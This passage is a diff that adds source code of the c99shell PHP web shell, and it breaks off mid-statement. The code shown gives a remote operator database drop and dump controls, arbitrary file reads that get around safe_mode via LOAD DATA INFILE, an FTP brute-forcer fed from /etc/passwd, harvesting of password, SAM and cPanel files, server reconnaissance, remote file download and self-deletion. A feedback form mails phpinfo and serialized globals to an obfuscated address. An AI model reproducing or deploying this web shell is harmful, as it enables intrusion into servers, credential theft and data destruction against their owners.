value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {echo "<table border=0 width=\"100%\" height=1><tr><td width=\"30%\" height=1><b>Create new DB:</b><form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_act value=newdb><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><input type=text name=sql_newdb size=20>&nbsp;<input type=submit value=\"Create\"></form></td><td width=\"30%\" height=1><b>View File:</b><form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_act value=getfile><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><input type=text name=sql_getfile size=30 value=\"".htmlspecialchars($sql_getfile)."\">&nbsp;<input type=submit value=\"Get\"></form></td><td width=\"30%\" height=1></td></tr><tr><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td></tr></table>";} + if (!empty($sql_act)) + { + echo "<hr size=1 noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#433333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#433333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#433333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) 